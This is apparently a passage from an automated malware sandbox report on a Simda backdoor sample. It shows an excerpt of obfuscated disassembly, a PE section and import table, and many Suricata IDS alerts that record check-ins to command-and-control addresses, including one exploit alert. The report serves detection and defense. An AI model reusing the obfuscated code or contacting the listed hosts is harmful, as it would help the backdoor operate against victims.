                                                                                                                                                                                                                    mov dword ptr [0043DA40h], eax
                                                                                                                                                                                                                    xor eax, eax
                                                                                                                                                                                                                    mov ebx, 00214203h
                                                                                                                                                                                                                    add ebx, 00229C1Fh
                                                                                                                                                                                                                    push ebx
                                                                                                                                                                                                                    mov dword ptr [0043E0FDh], 00000000h
                                                                                                                                                                                                                    mov edx, dword ptr [0043E0FDh]
                                                                                                                                                                                                                    push edx
                                                                                                                                                                                                                    call dword ptr [004260E0h]
                                                                                                                                                                                                                    mov dword ptr [0043D478h], eax
                                                                                                                                                                                                                    mov dword ptr [0043E0C9h], 000086A2h
                                                                                                                                                                                                                    mov eax, dword ptr [0043E0C9h]
                                                                                                                                                                                                                    push 00000E1Eh
                                                                                                                                                                                                                    pop edx
                                                                                                                                                                                                                    shr edx, 06h
                                                                                                                                                                                                                    dec edx
                                                                                                                                                                                                                    rol edx, 05h
                                                                                                                                                                                                                    sub edx, dword ptr [0043DA4Eh]
                                                                                                                                                                                                                    sub edx, eax
                                                                                                                                                                                                                    mov ebx, edx
                                                                                                                                                                                                                    add ebx, dword ptr [0043E424h]
                                                                                                                                                                                                                    inc ebx
                                                                                                                                                                                                                    shl ebx, 1
                                                                                                                                                                                                                    add dword ptr [0043D75Eh], ebx
                                                                                                                                                                                                                    call 00007F48050E1C32h
                                                                                                                                                                                                                    mov dword ptr [0043D653h], eax
                                                                                                                                                                                                                    mov edx, 002728E2h
                                                                                                                                                                                                                    add edx, 001CA88Dh
                                                                                                                                                                                                                    push edx
                                                                                                                                                                                                                    mov ecx, 003F5ECEh
                                                                                                                                                                                                                    mov ebp, ecx
                                                                                                                                                                                                                    mov edi, 00047C6Dh
                                                                                                                                                                                                                    add ebp, edi
                                                                                                                                                                                                                    push ebp
                                                                                                                                                                                                                    push 0014ADBCh
                                                                                                                                                                                                                    pop esi
                                                                                                                                                                                                                    mov dword ptr [0043D7C8h], 002F2F1Eh
                                                                                                                                                                                                                    add esi, dword ptr [0043D7C8h]

                                                                                                                                                                                                                    Data Directories

                                                                                                                                                                                                                    NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_IMPORT0x261d40xb4.fwQO
                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0x690000x2a048.rsrc
                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x940000x4aa.reloc
                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x383dc0x1c.D
                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                                                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                                                                    Sections

                                                                                                                                                                                                                    NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                                                                    .text0x10000x2fd90x3000d73d0e281626fbb3ecec77d2e8aa1769False0.7303059895833334COM executable for DOS6.420148786453065IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                    .dHGmL0x40000x733d0x600146ba48b12ddc4d87c37c42526e6cd84False0.181640625Matlab v4 mat-file (little endian) \333_^\020U, numeric, rows 0, columns 01.4859327833763099IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                    .lzmjSu0xc0000xc1af0x20061af0c0d83c1325686ba8762e3e8d981False0.40234375data2.787352355338978IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                    .YOSWO0x190000x4ff90x6008f3ef2f627573ad2dcb3e05b99ae413bFalse0.5924479166666666data4.742875837921052IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                    .sTDEgl0x1e0000x74430x8003a8e8bd0335dc84a50fc5c79b67c3d0aFalse0.60009765625data5.035390472599325IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                    .fwQO0x260000x797a0xe00e879e25bdf58f45d60295218e86bc236False0.4361049107142857data4.86580950341829IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                    .L0x2e0000x978e0x200010aea57b2cd53e20b70dee59aedc905False0.640625data4.558249274598118IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                    .D0x380000x401a0x600c2b33e6b4777caf26721728b1213be8bFalse0.57421875data4.666855552838835IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                    .data0x3d0000x26910x2800f66ee5f77d63a2d0f55a13b4aab8b246False0.84580078125data7.005203294431193IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                    .kubC0x400000x616d0x4000fc3d2bf5e87a10e3ed265156ec1b7b7False0.2353515625Matlab v4 mat-file (little endian) \316, numeric, rows 0, columns 01.822118650991909IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                    .hkw0x470000x21b590x6001427a6ec5060bd3a64df6cc9b4758b57False0.15494791666666666data1.2660415037779147IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                                                                    .rsrc0x690000x2a0480x2a2005363093beaf747e12444bb8e872dcf11False0.9833028097181009data7.981989177826033IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                                                                    .reloc0x940000x4aa0x6006af87ce341dd6bf5cc992452b47fea53False0.7565104166666666data6.20097753724165IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                                                                                    Resources

                                                                                                                                                                                                                    NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                                                                    RT_ICON0x691780x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4224EnglishUnited States0.41627579737335835
                                                                                                                                                                                                                    RT_DIALOG0x6a2200x3adataEnglishUnited States0.9827586206896551
                                                                                                                                                                                                                    RT_RCDATA0x6a25c0x28b94dataEnglishUnited States1.0003656986643006
                                                                                                                                                                                                                    RT_GROUP_ICON0x92df00x14dataEnglishUnited States1.1
                                                                                                                                                                                                                    RT_VERSION0x92e040x244dataEnglishUnited States0.5431034482758621

                                                                                                                                                                                                                    Imports

                                                                                                                                                                                                                    DLLImport
                                                                                                                                                                                                                    KERNEL32.DLLDosDateTimeToFileTime, GetSystemDirectoryW, WriteFile, GetProcAddress, CreateFileA, GetModuleHandleA, CreateDirectoryA, FileTimeToSystemTime, IsBadStringPtrA, GetSystemDirectoryA, GetTimeFormatA, lstrcpyn, LocalAlloc, OpenWaitableTimerA, EnumCalendarInfoA, GetNamedPipeInfo, IsValidCodePage
                                                                                                                                                                                                                    USER32.DLLEnumChildWindows, GetSysColor, DialogBoxParamA, CreateMenu, EnumDesktopsA, GetClassNameA, CharNextA, ReleaseDC, RegisterWindowMessageA, EnumWindows, InvalidateRgn, SetWindowLongA, ShowCursor, CreateAcceleratorTableW, GetCaretPos, SetFocus, UnregisterClassW, PeekMessageW, SetMenu, GetMenuItemInfoA, LoadImageA, SendMessageW, DialogBoxIndirectParamA, CopyRect, GetWindowRect, GetScrollPos, CopyImage, GetSysColorBrush, PostQuitMessage, CheckDlgButton, GetDC, IsWindowEnabled, FillRect, CharLowerA, CreateDesktopA, UpdateWindow, SetCapture, SendDlgItemMessageW, LoadBitmapW, CreateWindowExW, GetDlgItemTextA, DefDlgProcA, GetKeyboardType, DefWindowProcW, CloseWindow, DestroyIcon, SetActiveWindow, CharUpperW
                                                                                                                                                                                                                    gdi32.dllGetPixelFormat, GetMetaRgn, GetEnhMetaFilePaletteEntries, GetWorldTransform, GetTextExtentExPointA, GetPath, GetLogColorSpaceW
                                                                                                                                                                                                                    advapi32.dllRegOpenKeyExA, RegCreateKeyExW, RegCloseKey, RegDeleteValueW, RegReplaceKeyA, RegEnumValueA
                                                                                                                                                                                                                    shell32.dllStrCmpNIA, StrRStrA, StrStrIA
                                                                                                                                                                                                                    WINSPOOL.DRVEnumPrinterDataA, AddPortW, DocumentPropertiesW, GetJobA, ConfigurePortA, AddMonitorA, EnumPrinterKeyA, EndPagePrinter, DocumentPropertySheets
                                                                                                                                                                                                                    INETCOMM.DLLMimeOleConvertEnrichedToHTML, MimeOleSMimeCapInit, MimeOleGetBodyPropW, MimeEditViewSource, DllGetClassObject, MimeOleCreateMessageParts, MimeOleCreateBody, HrGetDisplayNameWithSizeForFile, CreateIMAPTransport, HrFreeAttachData, HrGetLastOpenFileDirectoryW, MimeOleGetCodePageCharset, MimeEditDocumentFromStream
                                                                                                                                                                                                                    CRYPT32.DLLCryptSignCertificate, CertCreateCRLContext, CryptMsgOpenToDecode, CertIsValidCRLForCertificate, CryptGetOIDFunctionAddress, CertAddEncodedCertificateToStore

                                                                                                                                                                                                                    Possible Origin

                                                                                                                                                                                                                    Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                                                                    EnglishUnited States

                                                                                                                                                                                                                    Network Behavior

                                                                                                                                                                                                                    Suricata IDS Alerts

                                                                                                                                                                                                                    TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                                                                                    2024-11-11T18:48:20.025376+01002021022ET MALWARE Wapack Labs Sinkhole DNS Reply11.1.1.153192.168.2.455905UDP
                                                                                                                                                                                                                    2024-11-11T18:48:20.283218+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.4497313.94.10.3480TCP
                                                                                                                                                                                                                    2024-11-11T18:48:20.354131+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.44973375.2.71.19980TCP
                                                                                                                                                                                                                    2024-11-11T18:48:20.487198+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.44973423.253.46.6480TCP
                                                                                                                                                                                                                    2024-11-11T18:48:20.518966+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449735178.162.203.22680TCP
                                                                                                                                                                                                                    2024-11-11T18:48:20.577758+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449736208.100.26.24580TCP
                                                                                                                                                                                                                    2024-11-11T18:48:20.642439+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449732188.114.96.380TCP
                                                                                                                                                                                                                    2024-11-11T18:48:20.649859+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.44973744.221.84.10580TCP
                                                                                                                                                                                                                    2024-11-11T18:48:20.658250+01002018141ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz144.221.84.10580192.168.2.449737TCP
                                                                                                                                                                                                                    2024-11-11T18:48:20.658250+01002037771ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst144.221.84.10580192.168.2.449737TCP
                                                                                                                                                                                                                    2024-11-11T18:48:20.664725+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.44973818.208.156.24880TCP
                                                                                                                                                                                                                    2024-11-11T18:48:20.671786+01002018141ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz118.208.156.24880192.168.2.449738TCP
                                                                                                                                                                                                                    2024-11-11T18:48:20.671786+01002037771ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst118.208.156.24880192.168.2.449738TCP
                                                                                                                                                                                                                    2024-11-11T18:48:20.676278+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.44973944.221.84.10580TCP
                                                                                                                                                                                                                    2024-11-11T18:48:20.685013+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449736208.100.26.24580TCP
                                                                                                                                                                                                                    2024-11-11T18:48:20.713543+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449740199.59.243.22780TCP
                                                                                                                                                                                                                    2024-11-11T18:48:20.939502+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449743178.162.203.22680TCP
                                                                                                                                                                                                                    2024-11-11T18:48:20.950751+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.44974223.253.46.6480TCP
                                                                                                                                                                                                                    2024-11-11T18:48:21.101638+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.44974175.2.71.199443TCP
                                                                                                                                                                                                                    2024-11-11T18:48:22.076103+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449744188.114.96.3443TCP
                                                                                                                                                                                                                    2024-11-11T18:48:22.328005+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449745154.212.231.8280TCP
                                                                                                                                                                                                                    2024-11-11T18:48:22.624086+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449732188.114.96.380TCP
                                                                                                                                                                                                                    2024-11-11T18:48:22.699857+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449745154.212.231.8280TCP
                                                                                                                                                                                                                    2024-11-11T18:48:23.909919+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449746188.114.96.3443TCP
                                                                                                                                                                                                                    2024-11-11T18:48:24.708961+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449747199.191.50.8380TCP
                                                                                                                                                                                                                    2024-11-11T18:48:29.183854+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.44974913.248.169.4880TCP
                                                                                                                                                                                                                    2024-11-11T18:48:29.433108+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.44975118.208.156.24880TCP
                                                                                                                                                                                                                    2024-11-11T18:48:29.468700+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.4497523.94.10.3480TCP
                                                                                                                                                                                                                    2024-11-11T18:48:29.475414+01002018141ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz13.94.10.3480192.168.2.449752TCP
                                                                                                                                                                                                                    2024-11-11T18:48:29.475414+01002037771ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst13.94.10.3480192.168.2.449752TCP
                                                                                                                                                                                                                    2024-11-11T18:48:29.690187+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449750188.114.97.380TCP
                                                                                                                                                                                                                    2024-11-11T18:48:30.198947+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449753103.150.10.4880TCP
                                                                                                                                                                                                                    2024-11-11T18:48:31.293784+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449753103.150.10.4880TCP
                                                                                                                                                                                                                    2024-11-11T18:48:31.931827+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449754188.114.97.3443TCP
                                                                                                                                                                                                                    2024-11-11T18:48:32.323851+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449750188.114.97.380TCP
                                                                                                                                                                                                                    2024-11-11T18:48:34.148916+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449756188.114.97.3443TCP
                                                                                                                                                                                                                    2024-11-11T18:48:35.438653+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.44975876.223.67.18980TCP
                                                                                                                                                                                                                    2024-11-11T18:48:35.632896+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.44976144.221.84.10580TCP
                                                                                                                                                                                                                    2024-11-11T18:48:35.717041+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449760103.224.182.25280TCP
                                                                                                                                                                                                                    2024-11-11T18:48:35.810358+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow120.109.210.53443192.168.2.449757TCP
                                                                                                                                                                                                                    2024-11-11T18:48:35.862669+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.44976264.225.91.7380TCP
                                                                                                                                                                                                                    2024-11-11T18:48:36.172600+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449763154.85.183.5080TCP
                                                                                                                                                                                                                    2024-11-11T18:48:36.301986+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449765103.224.212.21080TCP
                                                                                                                                                                                                                    2024-11-11T18:48:36.462288+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449763154.85.183.5080TCP
                                                                                                                                                                                                                    2024-11-11T18:48:39.104492+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.44977164.225.91.7380TCP
                                                                                                                                                                                                                    2024-11-11T18:48:39.261484+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.46215972.52.179.17480TCP
                                                                                                                                                                                                                    2024-11-11T18:48:39.815210+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.46216072.52.179.17480TCP
                                                                                                                                                                                                                    2024-11-11T18:48:43.210674+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45567552.34.198.22980TCP
                                                                                                                                                                                                                    2024-11-11T18:48:43.218629+01002018141ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz152.34.198.22980192.168.2.455675TCP
                                                                                                                                                                                                                    2024-11-11T18:48:43.218629+01002037771ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst152.34.198.22980192.168.2.455675TCP
                                                                                                                                                                                                                    2024-11-11T18:48:47.377044+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45570944.221.84.10580TCP
                                                                                                                                                                                                                    2024-11-11T18:48:48.688358+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449736208.100.26.24580TCP
                                                                                                                                                                                                                    2024-11-11T18:48:48.930290+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449745154.212.231.8280TCP
                                                                                                                                                                                                                    2024-11-11T18:48:48.939793+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449732188.114.96.380TCP
                                                                                                                                                                                                                    2024-11-11T18:48:48.994448+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455714178.162.203.22680TCP
                                                                                                                                                                                                                    2024-11-11T18:48:49.000263+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45571375.2.71.19980TCP
                                                                                                                                                                                                                    2024-11-11T18:48:49.019309+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455715199.59.243.22780TCP
                                                                                                                                                                                                                    2024-11-11T18:48:49.028984+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449736208.100.26.24580TCP
                                                                                                                                                                                                                    2024-11-11T18:48:49.091988+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45571623.253.46.6480TCP
                                                                                                                                                                                                                    2024-11-11T18:48:49.308463+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449745154.212.231.8280TCP
                                                                                                                                                                                                                    2024-11-11T18:48:49.726308+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455720178.162.203.22680TCP
                                                                                                                                                                                                                    2024-11-11T18:48:49.769899+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45571823.253.46.6480TCP
                                                                                                                                                                                                                    2024-11-11T18:48:49.824012+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449747199.191.50.8380TCP
                                                                                                                                                                                                                    2024-11-11T18:48:49.936368+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45571775.2.71.199443TCP
                                                                                                                                                                                                                    2024-11-11T18:48:50.850031+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455719188.114.96.3443TCP
                                                                                                                                                                                                                    2024-11-11T18:48:51.253992+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449732188.114.96.380TCP
                                                                                                                                                                                                                    2024-11-11T18:48:52.500594+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455721188.114.96.3443TCP
                                                                                                                                                                                                                    2024-11-11T18:48:53.010207+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449750188.114.97.380TCP
                                                                                                                                                                                                                    2024-11-11T18:48:54.921504+01002021022ET MALWARE Wapack Labs Sinkhole DNS Reply11.1.1.153192.168.2.465289UDP
                                                                                                                                                                                                                    2024-11-11T18:48:55.091213+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455723188.114.97.3443TCP
                                                                                                                                                                                                                    2024-11-11T18:48:56.238077+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449750188.114.97.380TCP
                                                                                                                                                                                                                    2024-11-11T18:48:56.498268+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455722103.150.10.4880TCP
                                                                                                                                                                                                                    2024-11-11T18:48:57.615196+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455727103.150.10.4880TCP
                                                                                                                                                                                                                    2024-11-11T18:48:57.795412+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455730199.59.243.22780TCP
                                                                                                                                                                                                                    2024-11-11T18:48:57.849679+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455731208.100.26.24580TCP
                                                                                                                                                                                                                    2024-11-11T18:48:57.859323+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45573344.221.84.10580TCP
                                                                                                                                                                                                                    2024-11-11T18:48:57.863270+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45573544.221.84.10580TCP
                                                                                                                                                                                                                    2024-11-11T18:48:57.952801+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455732162.255.119.10280TCP
                                                                                                                                                                                                                    2024-11-11T18:48:58.066517+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45573618.208.156.24880TCP
                                                                                                                                                                                                                    2024-11-11T18:48:58.109148+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45573775.2.71.19980TCP
                                                                                                                                                                                                                    2024-11-11T18:48:58.196742+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455734188.114.96.380TCP
                                                                                                                                                                                                                    2024-11-11T18:48:58.263710+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455726188.114.97.3443TCP
                                                                                                                                                                                                                    2024-11-11T18:48:58.287346+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45573944.221.84.10580TCP
                                                                                                                                                                                                                    2024-11-11T18:48:58.323367+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45574075.2.71.19980TCP
                                                                                                                                                                                                                    2024-11-11T18:48:58.792125+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45574391.195.240.1980TCP
                                                                                                                                                                                                                    2024-11-11T18:48:58.823773+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455741154.212.231.8280TCP
                                                                                                                                                                                                                    2024-11-11T18:48:58.823803+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455742154.212.231.8280TCP
                                                                                                                                                                                                                    2024-11-11T18:48:59.295804+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45574475.2.71.199443TCP
                                                                                                                                                                                                                    2024-11-11T18:48:59.412579+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449763154.85.183.5080TCP
                                                                                                                                                                                                                    2024-11-11T18:48:59.660311+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455748103.224.182.25280TCP
                                                                                                                                                                                                                    2024-11-11T18:48:59.890286+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449763154.85.183.5080TCP
                                                                                                                                                                                                                    2024-11-11T18:48:59.917776+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455749103.224.212.21080TCP
                                                                                                                                                                                                                    2024-11-11T18:49:00.919781+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455746188.114.96.3443TCP
                                                                                                                                                                                                                    2024-11-11T18:49:02.763550+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45575372.52.179.17480TCP
                                                                                                                                                                                                                    2024-11-11T18:49:04.244844+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45575472.52.179.17480TCP
                                                                                                                                                                                                                    2024-11-11T18:49:10.394199+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.460886208.100.26.24580TCP
                                                                                                                                                                                                                    2024-11-11T18:49:10.394275+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.46088544.221.84.10580TCP
                                                                                                                                                                                                                    2024-11-11T18:49:10.394376+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.460887178.162.203.20280TCP
                                                                                                                                                                                                                    2024-11-11T18:49:10.394410+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.460888199.59.243.22780TCP
                                                                                                                                                                                                                    2024-11-11T18:49:16.411780+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.460906199.191.50.8380TCP
                                                                                                                                                                                                                    2024-11-11T18:49:17.355787+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow120.109.210.53443192.168.2.460907TCP
                                                                                                                                                                                                                    2024-11-11T18:49:19.043517+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.460917199.59.243.22780TCP
                                                                                                                                                                                                                    2024-11-11T18:49:22.319863+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.4499153.94.10.3480TCP
                                                                                                                                                                                                                    2024-11-11T18:49:22.322905+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455734188.114.96.380TCP
                                                                                                                                                                                                                    2024-11-11T18:49:24.397911+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.449914199.191.50.8380TCP
                                                                                                                                                                                                                    2024-11-11T18:49:26.010387+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.455729178.162.203.20280TCP
                                                                                                                                                                                                                    2024-11-11T18:50:07.118859+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450156199.59.243.22780TCP
                                                                                                                                                                                                                    2024-11-11T18:50:07.118921+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.450157178.162.203.22680TCP
                                                                                                                                                                                                                    2024-11-11T18:50:07.149179+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45015823.253.46.6480TCP
                                                                                                                                                                                                                    2024-11-11T18:50:07.203434+01002804852ETPRO MALWARE Backdoor.Win32/Simda.gen!A Checkin1192.168.2.45016175.2.71.19980TCP
